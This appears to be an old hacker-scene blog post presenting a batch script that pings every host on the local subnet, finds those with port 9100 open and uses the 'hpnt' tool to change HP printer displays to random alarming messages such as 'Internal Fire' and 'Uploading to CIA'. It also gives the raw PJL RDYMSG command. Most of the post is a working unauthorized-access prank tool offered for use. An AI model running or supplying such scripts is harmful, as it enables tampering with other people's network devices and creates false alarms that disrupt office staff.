Fun with HP Printers

There are few things in life that are as entertaining as the confusion and chaos that ensue when you make minor changes to the environment/daily routine of people that do office work.

Something as simple as changing the display on a network printer will immediately cause 1 of two reactions, total and complete mental shutdown or complete denial of acceptance into their reality aka they ignore it.

Once upon a time one of the l0pht team made a small utility called the HP Display Hack, sili circa 12/8/97 according to the useage output. This allows you to change the standard message on HP printer displays. There are several other utilities you can do this with, such as HiJetter by Phenoelit. Also you can just telnet/putty in on 9100 and issue @PJL RDYMSG DISPLAY="BlahBlah".

So anyways, I wrote a script to find you local network, scan 1-254 and find anything that responds to ping, then check if it will establish a telnet connection on port 9100, if so use the HP Display Hack program to randomly change the message to 1 of the 10 options (change if you like, up to 16 characters).

Not particularly evil, but always good for a laugh, especially when the help desk gets a call about the printer in the accounting office stating it's uploading documents to the CIA. Or the internal printer fire in the warehouse.

-=Script=-

@echo off
setlocal enabledelayedexpansion
::find network
for /f "tokens=2 delims=:" %%i in ('ipconfig ^| find /i "Ip Address"') do set network=%%i
for /f "tokens=1,2,3 delims=." %%i in ("%network%") do set network2=%%i.%%j.%%k
::Scan for Active Hosts
for /L %%i in (1,1,254) do ping -n 1 -w 60 %network2%.%%i | find /i "reply" >> ~temp1
for /f "tokens=3 delims=: " %%i in (~temp1) do echo %%i >> ~temp2
del /f /q ~temp1 > nul
::Check for port 9100 (aka printers)
for /f %%i in (~temp2) do (
    set t=!random!
    set r=!t:~1,1!
    if !r! == 1 set message="[READY] TO ROCK"
    if !r! == 2 set message="Uploading to CIA"
    if !r! == 3 set message="FEED ME A KITTEN"
    if !r! == 4 set message="Spelling Error"
    if !r! == 5 set message="Internal Fire"
    if !r! == 6 set message="OUT OF LETTERS"
    if !r! == 7 set message="Self Destruct:ON"
    if !r! == 8 set message="PCLOAD LETTER"
    if !r! == 9 set message="POWER FLUID LOW"
    if !r! == 0 set message="Insert Coin"
    set r=
    set t=
    start /min telnet %%i 9100
    ping -n 5 127.0.0.1 > nul
    netstat -n | find /i "%%i:9100" | find /i "Established" && hpnt.exe %%i "!message!"
    taskkill /f /IM telnet.exe
)
del /f /q ~temp2 > nul
exit


As stated previously hpnt just issues the @PJL RDYMSG Display="whatever" command over telnet. It could be done with a piped text file to netcat also as there's no way I know of to send commands to a telnet session in pure batch.